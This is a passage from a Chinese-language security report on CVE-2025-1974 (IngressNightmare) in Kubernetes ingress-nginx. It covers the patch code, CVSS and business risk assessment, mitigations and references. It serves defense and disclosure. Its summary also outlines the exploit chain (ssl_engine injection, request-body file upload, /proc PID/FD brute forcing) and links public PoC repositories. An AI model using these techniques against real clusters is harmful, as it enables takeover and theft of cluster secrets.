    // 验证注解合法性 (不渲染完整配置)
    err = v.validateAnnotations(ingress.Annotations)
    if err != nil {
        return deny(err.Error())
    }

    return allow()
}

改动2: 严格化注解验证

修复前:

func parseAuthURL(url string) string {
    return url  // 直接使用
}

修复后:

func parseAuthURL(url string) (string, error) {
    // 拒绝包含危险字符的注解
    if strings.ContainsAny(url, "\n\r;") {
        return "", fmt.Errorf("auth-url contains invalid characters")
    }

    // 验证 URL 格式
    _, err := urlpkg.Parse(url)
    if err != nil {
        return "", fmt.Errorf("invalid URL: %v", err)
    }

    // 对特殊字符进行转义
    sanitized := sanitizeNginxVariable(url)
    return sanitized, nil
}

func sanitizeNginxVariable(s string) string {
    s = strings.ReplaceAll(s, "\\", "\\\\")
    s = strings.ReplaceAll(s, "\"", "\\\"")
    s = strings.ReplaceAll(s, "$", "\\$")
    return s
}

改动3: 增强 UID 验证

修复前:

// metadata.uid 直接用于配置生成,无验证
requestID := ingress.Metadata.UID

修复后:

// 验证 UID 格式
func validateUID(uid string) error {
    // UID 应该是 UUID 格式
    pattern := `^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$`
    matched, _ := regexp.MatchString(pattern, uid)
    if !matched {
        return fmt.Errorf("invalid UID format")
    }

    // 拒绝包含危险字符
    if strings.ContainsAny(uid, "\n\r;{}") {
        return fmt.Errorf("UID contains invalid characters")
    }

    return nil
}

13.2 架构层面改进

修复引入的架构变化:

职责分离:

修复前:
Admission Webhook 负责:
- 接收 AdmissionReview
- 渲染完整 nginx 配置
- 执行 nginx -t 验证
- 返回允许/拒绝

修复后:
Admission Webhook 负责:
- 接收 AdmissionReview
- 基本语法验证 (不渲染配置)
- 注解合法性验证
- 返回允许/拒绝

Controller 负责:
- 渲染完整 nginx 配置
- 执行实际的配置测试
- 处理配置错误 (通过日志)

13.3 修复副作用

失去提前错误检测:

修复前:

用户创建 Ingress
→ API Server 调用 Admission Webhook
→ Webhook 执行 nginx -t
→ 配置错误立即被拒绝
→ 用户收到明确的错误信息

修复后:

用户创建 Ingress
→ API Server 调用 Admission Webhook
→ Webhook 仅做基本验证
→ Ingress 被接受
→ Controller 尝试应用配置
→ nginx reload 失败
→ 错误仅记录在 Controller 日志中
→ 用户可能不知道 Ingress 无效

缓解措施:

Release Notes 中的建议:

1. 启用 controller 的详细日志记录
2. 配置日志聚合和告警
3. 监控 nginx reload 失败事件
4. 使用 kubectl describe ingress 查看事件
5. 实施 CI/CD 阶段的 Ingress 配置验证

13.4 补丁部署统计

GitHub Release 数据:

v1.11.5 发布日期: 2025-03-24
- 下载量: 100,000+ (截至 2025-04)
- 采用率: 估计 60% (30天内)

v1.12.1 发布日期: 2025-03-24
- 下载量: 50,000+
- 采用率: 估计 40% (新版本采用较慢)

13.5 防御编程最佳实践

本漏洞的教训:

  1. 永远不要信任用户输入

    • 即使是来自 Kubernetes 对象的数据也需要验证

    • annotation 值必须经过严格转义和验证

  2. 避免"验证即执行"

    • 配置验证不应触发实际的加载/初始化行为

    • 使用受限沙箱进行验证

  3. 使用参数化模板

    • 避免字符串拼接生成配置文件

    • 使用安全的模板引擎

  4. 最小权限原则

    • ingress-controller 不应有 cluster-wide Secret 访问权限

    • 分离 Admission 和 Controller 的权限

  5. 深度防御

    • Webhook 应该有认证、授权、输入验证多层防护

    • 网络隔离、RBAC、运行时监控缺一不可

  6. 职责分离

    • Admission 验证与运行时配置生成应该分离

    • 避免在验证阶段执行复杂操作

14. 风险评估

14.1 CVSS v3.1 评分详解

指标说明
Attack Vector (AV)Network可通过网络访问 (Pod 网络)
Attack Complexity (AC)Low不需要特殊条件,公开 PoC 可用
Privileges Required (PR)None无需 Kubernetes API 权限
User Interaction (UI)None无需用户交互
Scope (S)Changed影响超出漏洞组件本身 (集群范围)
Confidentiality (C)High可窃取所有 Secrets
Integrity (I)High可修改 nginx 配置和流量
Availability (A)High可导致 ingress 服务中断

CVSS 向量字符串:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

基础分: 9.8 (严重)
时间分: 9.8 (已有公开 PoC,官方补丁可用)
环境分: 根据实际环境可能调整为 8.5-10.0

14.2 攻击门槛分析

因素难度评估说明
前置条件获取中等需要在集群中运行 Pod (供应链/内部威胁)
技术复杂度已有完整 PoC 代码,攻击流程清晰
工具可用性多个公开 PoC 仓库
检测难度利用过程不留持久化痕迹
成功率PID/FD 暴力破解成功率 > 90%

风险矩阵:

低影响  中影响  高影响
低概率     低风险  低风险  中风险
中概率     低风险  中风险  高风险
高概率     中风险  高风险  严重风险
                          ↑
                    CVE-2025-1974 位于此处

14.3 业务影响评估

机密性影响:

受影响资产影响等级说明
数据库凭证严重Secrets 中通常包含数据库密码
API 密钥严重第三方服务集成凭证
TLS 私钥严重可导致流量解密
云服务凭证严重AWS/GCP/Azure 访问密钥
JWT Secrets严重可伪造认证令牌

完整性影响:

受影响功能影响等级说明
流量路由可劫持所有入站流量
SSL/TLS 终止可进行中间人攻击
认证/授权可绕过安全控制
日志完整性可删除/修改日志

可用性影响:

受影响服务影响等级说明
Ingress 服务严重可导致所有外部访问中断
后端服务通过流量劫持影响后端
监控告警可破坏监控系统

14.4 不同场景下的风险等级

场景1: 互联网暴露的生产环境

风险等级: 严重
优先级: P0 (立即修复)
理由:
- 攻击面大,可能已有攻击者在集群内
- 业务中断影响严重
- 数据泄露后果不可逆

场景2: 内网隔离的生产环境

风险等级: 高
优先级: P1 (7天内修复)
理由:
- 攻击面相对较小
- 仍需防范内部威胁
- 供应链攻击风险存在

场景3: 开发/测试环境

风险等级: 中
优先级: P2 (30天内修复)
理由:
- 可能包含生产数据副本
- 可作为跳板攻击生产环境
- 供应链攻击的试验场

场景4: 离线/空气隔离环境

风险等级: 低
优先级: P3 (计划内修复)
理由:
- 攻击面极小
- 内部威胁仍需考虑
- 定期安全更新的一部分

14.5 行业特定风险

金融行业:

额外风险:
- 监管合规要求 (PCI-DSS, SOX)
- 交易数据泄露
- 金融欺诈风险
建议: P0 优先级,立即修复

医疗行业:

额外风险:
- HIPAA 合规要求
- 患者隐私数据泄露
- 医疗服务中断
建议: P0 优先级,立即修复

电商行业:

额外风险:
- 用户支付信息泄露
- 订单数据篡改
- 服务可用性影响收入
建议: P0-P1 优先级,尽快修复

政府/国防:

额外风险:
- 国家安全影响
- 机密信息泄露
- APT 攻击利用
建议: P0 优先级,紧急修复

14.6 剩余风险

即使应用所有缓解措施后,仍存在的风险:

  1. 零日变种风险

    • 可能存在其他未发现的注入点

    • 建议: 持续监控,及时更新

  2. 供应链风险

    • 恶意容器镜像可能已在集群中

    • 建议: 全面审计现有工作负载

  3. 内部威胁

    • 具有 Pod 部署权限的用户仍可利用

    • 建议: 强化 RBAC 和审计

  4. 配置漂移

    • 防护措施可能被误操作移除

    • 建议: 配置即代码,自动化合规检查


15. 总结

15.1 关键要点

漏洞本质:

CVE-2025-1974 的核心是"不可信输入→可执行配置"与"验证即执行"的耦合。
这是一个设计缺陷和实现缺陷的组合,突显了 Kubernetes 生态系统中
准入控制器安全的系统性问题。

技术洞察:

  • 配置注入漏洞可以通过多种路径实现 (auth-url, auth-tls-match-cn, mirror-uid)

  • ssl_engine 指令提供了从配置到代码执行的桥梁

  • nginx client body buffering 机制可被利用上传任意文件

  • /proc/PID/fd/FD 路径提供了访问已删除文件的途径

  • PID/FD 暴力破解是实用且高效的攻击技术

防御要点:

  • 版本升级是最根本的解决方案 (v1.11.5 或 v1.12.1+)

  • 网络隔离可有效降低攻击面

  • 最小权限 RBAC 可限制后利用影响

  • 运行时监控 (Falco/Sysdig) 是关键的检测手段

  • 深度防御策略不可或缺

15.2 组织应对建议

立即行动 (0-24小时):

  1. 识别所有使用 ingress-nginx 的集群

  2. 评估受影响版本

  3. 应用临时 NetworkPolicy 隔离

  4. 启用审计日志记录

  5. 部署 IoC 检测脚本

短期措施 (1-7天):

  1. 升级到安全版本

  2. 实施 RBAC 最小权限

  3. 部署运行时监控 (Falco)

  4. 执行 IoC 检测脚本

  5. 审查现有 Ingress 对象

长期加固 (持续):

  1. 建立漏洞管理流程

  2. 定期安全审计

  3. 实施零信任网络架构

  4. 容器镜像扫描与签名

  5. 安全培训与意识提升

15.3 行业影响

Kubernetes 生态系统的教训:

  1. 准入控制器的信任问题

    • 默认假设 admission webhook 是可信的

    • 缺乏强制的认证和授权机制

    • 社区需要标准化的安全框架

  2. 过度权限的普遍性

    • 许多组件拥有超出实际需求的权限

    • cluster-wide Secret 读取权限应该是例外而非常规

    • 需要推广最小权限原则

  3. 配置注入的攻击面

    • 动态配置生成是常见的攻击面

    • 需要统一的输入验证框架

    • 模板引擎应提供自动转义

  4. 网络信任的假设

    • Pod 网络内部通信缺乏认证

    • 服务网格 (Service Mesh) 的重要性

    • 零信任架构应成为默认

15.4 未来展望

Kubernetes 社区应考虑的改进:

  1. 准入控制器安全框架

    • 为 admission webhook 提供统一的认证框架

    • 强制 mTLS 和来源验证

    • 标准化的输入验证库

  2. CRD 字段验证机制

    • 加强 CEL (Common Expression Language) 验证

    • 内置的危险字符检测

    • 自动化的上下文安全编码

  3. Pod Security Admission 推广

    • 默认启用 Pod Security Standards

    • 限制容器的危险能力

    • 运行时行为监控

  4. 运行时威胁检测能力

    • 集成 eBPF 的原生监控

    • 内置的异常行为检测

    • 自动化的事件响应

15.5 研究意义

CVE-2025-1974 的发现揭示了:

  1. 现代云原生架构的复杂性带来的安全挑战

  2. 传统安全假设在容器化环境中的失效

  3. 供应链安全的重要性和脆弱性

  4. 深度防御和零信任的必要性

对于安全研究人员:

  • 关注组件间的信任边界

  • 深入理解配置渲染和模板引擎

  • 探索容器运行时的特殊行为

  • 发现看似无害的功能组合的危险性

对于开发者:

  • 设计时考虑安全性 (Security by Design)

  • 实施严格的输入验证

  • 避免"验证即执行"的模式

  • 持续的安全测试和代码审计

对于运维人员:

  • 建立快速响应机制

  • 实施多层防御策略

  • 持续监控和日志分析

  • 定期的漏洞评估和修复

15.6 最后的建议

本漏洞的严重性要求所有使用 ingress-nginx 的组织立即采取行动:

优先级排序:

P0 (立即): 版本升级或禁用 Admission Webhook
P1 (24小时): 网络隔离和 RBAC 限制
P2 (7天): 运行时监控和审计日志
P3 (持续): 长期安全加固和流程优化

验证检查清单:

  • 确认所有集群的 ingress-nginx 版本

  • 升级到 v1.11.5 或 v1.12.1+

  • 或临时禁用 Admission Webhook

  • 部署 NetworkPolicy 隔离

  • 限制 RBAC 权限到最小必要

  • 部署 Falco 运行时监控

  • 配置审计日志持久化

  • 执行 IoC 检测脚本

  • 审查现有 Ingress 对象

  • 建立长期安全监控

参考资料

官方公告与安全公告

  1. Kubernetes 官方博客

    • https://kubernetes.io/blog/2025/03/24/ingress-nginx-cve-2025-1974/

    • Ingress-NGINX 安全更新说明

  2. GitHub Security Advisory

    • https://github.com/advisories/GHSA-mgvx-rpfc-9mpv

    • CVE-2025-1974 详细信息和受影响版本

  3. Ingress-NGINX Release Notes

    • https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.11.5

    • https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.12.1

    • 修复版本发布说明

安全研究与分析

  1. Wiz Research - IngressNightmare

    • https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities

    • 漏洞发现者的技术分析

  2. Fortinet Threat Analysis

    • https://www.fortinet.com/blog/threat-research/ingressnightmare-understanding-cve-2025-1974-in-kubernetes-ingress-nginx

    • 威胁研究与检测方法

  3. ProjectDiscovery Technical Analysis

    • https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx

    • 深度技术分析和利用链

  4. Datadog Security Analysis

    • CVE-2025-1974 检测与防护建议

  5. Sysdig Threat Detection

    • Falco 规则与运行时监控策略

PoC 代码仓库

  1. Esonhugh/ingressNightmare-CVE-2025-1974-exps

    • https://github.com/Esonhugh/ingressNightmare-CVE-2025-1974-exps

    • 主要 PoC 实现 (Go)

  2. sandumjacob/IngressNightmare-POCs

    • https://github.com/sandumjacob/IngressNightmare-POCs

    • 替代 PoC 实现

  3. hakaioffsec/IngressNightmare-PoC

    • https://github.com/hakaioffsec/IngressNightmare-PoC

    • 教育用 PoC

相关 CVE

  1. CVE-2025-24514: auth-url 注入

    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24514

  2. CVE-2025-1097: auth-tls-match-cn 注入

    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-1097

  3. CVE-2025-1098: mirror UID 注入

    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-1098

  4. CVE-2025-24513: 相关配置注入

    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24513

技术文档

  1. Kubernetes Admission Controllers

    • https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/

  2. NGINX OpenSSL ENGINE

    • http://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_engine

  3. Falco Rules

    • https://falco.org/docs/rules/

  4. NetworkPolicy 最佳实践

    • https://kubernetes.io/docs/concepts/services-networking/network-policies/

合规与标准

  1. CWE-94: Improper Control of Generation of Code

    • https://cwe.mitre.org/data/definitions/94.html

  2. CWE-653: Insufficient Compartmentalization

    • https://cwe.mitre.org/data/definitions/653.html

  3. OWASP Kubernetes Security Cheat Sheet

    • https://cheatsheetseries.owasp.org/cheatsheets/Kubernetes_Security_Cheat_Sheet.html

本报告基于公开信息和安全研究编写,仅用于防御性安全研究和授权的安全测试。
未经授权使用本报告中的技术信息进行攻击活动是违法行为。


文章来源: https://www.freebuf.com/articles/vuls/458642.html
如有侵权请联系:admin#unsafe.sh